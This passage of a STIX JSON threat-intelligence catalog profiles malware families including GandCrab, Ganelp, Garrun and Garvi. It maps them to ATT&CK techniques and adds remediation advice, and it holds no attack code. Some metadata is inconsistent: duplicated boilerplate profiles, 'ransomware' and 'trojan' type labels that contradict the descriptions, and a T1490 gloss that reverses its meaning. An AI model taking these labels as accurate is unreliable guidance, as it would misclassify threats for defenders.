          "description": "Canonical Malware Families Catalog Technical Profile for Gandcrab",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gandcrab"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "CISA Alert AA21-209A (Ransomware Affiliates: From GandCrab to Sodinokibi)"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--71ef293b-756a-5e8d-a275-afd80cae09db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--810a8271-d280-5d2a-b8c3-8f0a9490a148",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gandcrab exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad710589-029d-55a4-b2cf-9603f92fd714",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--810a8271-d280-5d2a-b8c3-8f0a9490a148",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gandcrab exhibits technique T1489 (Service Stop (Forcefully stopping AV services))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ecdc087-34e8-53e5-a74e-4c896fb8ada7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--810a8271-d280-5d2a-b8c3-8f0a9490a148",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gandcrab exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6fe61373-a3eb-5e53-9d79-b3eeacacac58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--810a8271-d280-5d2a-b8c3-8f0a9490a148",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gandcrab exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--207c840d-71d5-578c-ac70-77e50856b091",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--810a8271-d280-5d2a-b8c3-8f0a9490a148",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gandcrab exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5142f836-8355-5ab3-be81-8cbf2e3f437b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--810a8271-d280-5d2a-b8c3-8f0a9490a148",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gandcrab exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94f2ca6b-b91c-554a-8cc2-fdade77139f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--810a8271-d280-5d2a-b8c3-8f0a9490a148",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gandcrab exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cf9e6ee7-f626-5b0f-928c-fd5614b867f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gandcrypt",
      "description": "Ransom:Win32/GandCrypt (widely cataloged across endpoint telemetry as Trojan-Ransom.Win32.GandCrypt, Ransom.GandCrab, or Win32/GandCrypt) is the Microsoft Defender detection label for the notorious GandCrab ransomware cartel and its primary encryption binaries. Operating as one of the cybercrime underground's first industrial-scale Ransomware-as-a-Service (RaaS) operations between 2018 and 2019, GandCrab/GandCrypt infected hundreds of thousands of corporate and municipal networks globally. Distributed through exploit kits (Fallout, GrandSoft), malspam campaigns with weaponized attachments, and compromised RDP credentials, GandCrypt enumerates local storage, mounted network volumes, and SMB shares. It terminates database and enterprise processes (SQL, Exchange), deletes Volume Shadow Copies via vssadmin and wmic, and encrypts victim files using strong AES-256 and RSA-2048 cryptography, appending extensions such as .gdcb, .crab, or .krab while demanding ransom payments in DASH and Bitcoin. (Observed samples in benchmark: 474)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "GandCrypt",
        "Ransom:Win32/GandCrypt",
        "Trojan-Ransom.Win32.GandCrypt",
        "Ransom.GandCrab",
        "Win32/GandCrypt",
        "GandCrab Encryptor",
        "Ransom:Win32/GandCrypt.DB!MTB"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gandcrypt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gandcrypt"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e6db5ed-0543-5def-b080-36c46fd513d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf9e6ee7-f626-5b0f-928c-fd5614b867f5",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gandcrypt exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c63ea1c0-844f-5831-9091-666a4126eff9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf9e6ee7-f626-5b0f-928c-fd5614b867f5",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gandcrypt exhibits technique T1489 (Service Stop (Forcefully stopping AV services))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ad37d11-8b1f-5ef4-a489-8380422f7764",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf9e6ee7-f626-5b0f-928c-fd5614b867f5",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gandcrypt exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41c86221-4785-5c42-b5e9-3e41f77d16a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf9e6ee7-f626-5b0f-928c-fd5614b867f5",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gandcrypt exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e750c09a-de53-57cf-b19a-12ff6becb41c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf9e6ee7-f626-5b0f-928c-fd5614b867f5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gandcrypt exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--85b5388d-037a-55dc-b3c9-2bceacf2483d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf9e6ee7-f626-5b0f-928c-fd5614b867f5",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gandcrypt exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--474b88e5-be33-58a5-ad20-2702dacf75d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ganelp",
      "description": "Ganelp (cataloged across security solutions as Trojan:Win32/Ganelp, Trojan-Spy.Win32.Ganelp, and PWS:Win32/Ganelp) is a specialized password-stealing trojan and banking spyware family documented by Microsoft Defender and Trend Micro. Designed to harvest sensitive enterprise credentials, Ganelp targets stored login data in web browsers (Chrome, Edge, Firefox), FTP clients (FileZilla, WinSCP), and email applications (Outlook, Thunderbird). It records keystrokes when banking portals are active and exfiltrates gathered credentials via encrypted HTTP POST requests to remote C2 infrastructure. (Observed samples in benchmark: 348)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Ganelp",
        "Trojan-Spy.Win32.Ganelp",
        "PWS:Win32/Ganelp",
        "Win32/Ganelp.Stealer",
        "Spyware.Ganelp"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ganelp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ganelp"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c0313e9-7e2d-5365-835f-2cc505457270",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--474b88e5-be33-58a5-ad20-2702dacf75d5",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ganelp exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a067391-d728-5fac-999a-1663b41079c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--474b88e5-be33-58a5-ad20-2702dacf75d5",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ganelp exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b92bfbb5-ed50-5311-bcec-284570a9c39d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--474b88e5-be33-58a5-ad20-2702dacf75d5",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ganelp exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fce3a456-f374-53fa-b1d2-7135609fe664",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--474b88e5-be33-58a5-ad20-2702dacf75d5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ganelp exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f31b6822-ffa4-5750-81de-27d4429e8480",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--474b88e5-be33-58a5-ad20-2702dacf75d5",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ganelp exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eaeb6583-313b-5626-852d-ed78dfb9ad9c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gaofenq",
      "description": "<h3>Executive Summary</h3>\nGaofenq is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nGaofenq is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Gaofenq operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Gaofenq ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Gaofenq receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Gaofenq infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Gaofenq executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Gaofenq frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Gaofenq",
        "Downloader.Gaofenq",
        "Win32/Gaofenq"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gaofenq",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gaofenq"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bd4c286a-3314-520d-aa0f-4c6841707a49",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eaeb6583-313b-5626-852d-ed78dfb9ad9c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gaofenq exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--908b8f88-b36a-5fb4-82f4-c91d9757e661",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eaeb6583-313b-5626-852d-ed78dfb9ad9c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gaofenq exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df2bd5d3-e42d-59c8-aa25-51690a9732a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eaeb6583-313b-5626-852d-ed78dfb9ad9c",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gaofenq exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--598e1a5b-e912-5f0e-9a14-1bfa227d689c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gaofenquming",
      "description": "<h3>Executive Summary</h3>\nGaofenquming is an intrusive adware family and browser hijacker predominantly targeting users in the Asia-Pacific (APAC) region. It is designed to aggressively monetize infected systems by hijacking web traffic, altering browser configurations, and forcing users to interact with affiliate-linked search portals and advertisements.\n\n<h3>Infection Vector and Technical Behavior</h3>\nGaofenquming relies heavily on software bundling, often piggybacking on the installation of regional freeware, media players, or localized software utilities downloaded from third-party aggregators.\n\nUpon successful installation, Gaofenquming executes a series of unauthorized system modifications:\n<ul>\n<li><strong>Browser Hijacking:</strong> It forcibly alters the default homepage, new tab page, and default search engine across all major web browsers (Chrome, Firefox, Edge, Internet Explorer). The new settings redirect all queries to a customized search portal controlled by the adware operators.</li>\n<li><strong>Registry Persistence:</strong> The adware establishes persistence by modifying the Windows Registry (e.g., `HKCU\\Software\\Microsoft\\Internet Explorer\\Main`) to ensure its preferred homepage is reinstated even if the user attempts to manually change it back.</li>\n<li><strong>Ad Injection:</strong> Gaofenquming injects JavaScript into active browsing sessions, displaying persistent pop-up ads, banners, and sponsored search results that are often highly deceptive or malicious in nature.</li>\n</ul>\n\n<h3>Privacy and Security Risks</h3>\nBeyond the severe degradation of system performance and user experience, Gaofenquming poses a significant privacy risk. It continuously tracks search queries, browsing history, and IP address data, transmitting this telemetry to remote servers for targeted advertising and data brokering.\n\n<h3>Remediation Guidelines</h3>\n<ul>\n<li><strong>Extension Audit:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers.</li>\n<li><strong>Complete Browser Reset:</strong> Perform a factory reset of the affected web browsers to clear the hijacked search engine configurations and homepage settings.</li>\n<li><strong>Malware Scanning:</strong> Utilize a reputable EPP/anti-malware solution to perform a deep system scan to remove the underlying executable files, hidden scheduled tasks, and persistent registry keys associated with Gaofenquming.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Gaofenquming",
        "Hijacker.Gaofenquming",
        "PUP.Gaofenquming"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gaofenquming",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gaofenquming"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--115862f7-9ebc-5f45-aa40-a629f51626cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--598e1a5b-e912-5f0e-9a14-1bfa227d689c",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gaofenquming exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8aaf364c-a5e6-5a79-956e-9e33225cde4c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--598e1a5b-e912-5f0e-9a14-1bfa227d689c",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gaofenquming exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--651bd50b-e7b6-5073-a258-6bfaba7d103c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--598e1a5b-e912-5f0e-9a14-1bfa227d689c",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gaofenquming exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--aa1ac160-b966-52c3-b4cd-4f999b94e58d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Garrun",
      "description": "Garrun (identified in security research telemetry as Trojan:Win32/Garrun, Trojan:Win32/Garrun.A, and Backdoor:Win32/Garrun) is an evasive Windows trojan backdoor and command execution implant. Infiltrating target endpoints via weaponized spearphishing email attachments and secondary exploit droppers, Garrun deploys a multi-stage execution chain that verifies whether it is operating within an isolated analysis sandbox. Once safe execution is confirmed, Garrun establishes autostart persistence by configuring Windows Task Scheduler tasks and modifying startup registry keys. It opens an encrypted command-and-control connection to remote infrastructure, giving attackers interactive command shell execution, arbitrary file upload and download capabilities, and the ability to stage auxiliary payload components. (Observed samples in benchmark: 21)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Garrun",
        "Trojan:Win32/Garrun.A",
        "Backdoor:Win32/Garrun",
        "Win32/Garrun",
        "Backdoor.Garrun"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Garrun",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/garrun"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b363940-25af-5dc8-8677-2f82912c9cd0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa1ac160-b966-52c3-b4cd-4f999b94e58d",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Garrun exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9783de7-606e-5d8c-a3c9-f2e92dbccb28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa1ac160-b966-52c3-b4cd-4f999b94e58d",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Garrun exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d8990986-576c-5785-bb29-c06601028676",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa1ac160-b966-52c3-b4cd-4f999b94e58d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Garrun exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f1bc287-2acb-5f35-a7f9-9726d06a49ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa1ac160-b966-52c3-b4cd-4f999b94e58d",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Garrun exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--509f1a12-8ee6-5a73-9089-9f78547f3057",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa1ac160-b966-52c3-b4cd-4f999b94e58d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Garrun exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ebae5b12-5792-520b-ab24-f4cecbc26d6a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Garvi",
      "description": "<h3>Executive Summary</h3>\nGarvi is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nGarvi is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Garvi operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Garvi ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Garvi receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Garvi infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Garvi executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Garvi frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Garvi",
        "Downloader.Garvi",
        "Win32/Garvi"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
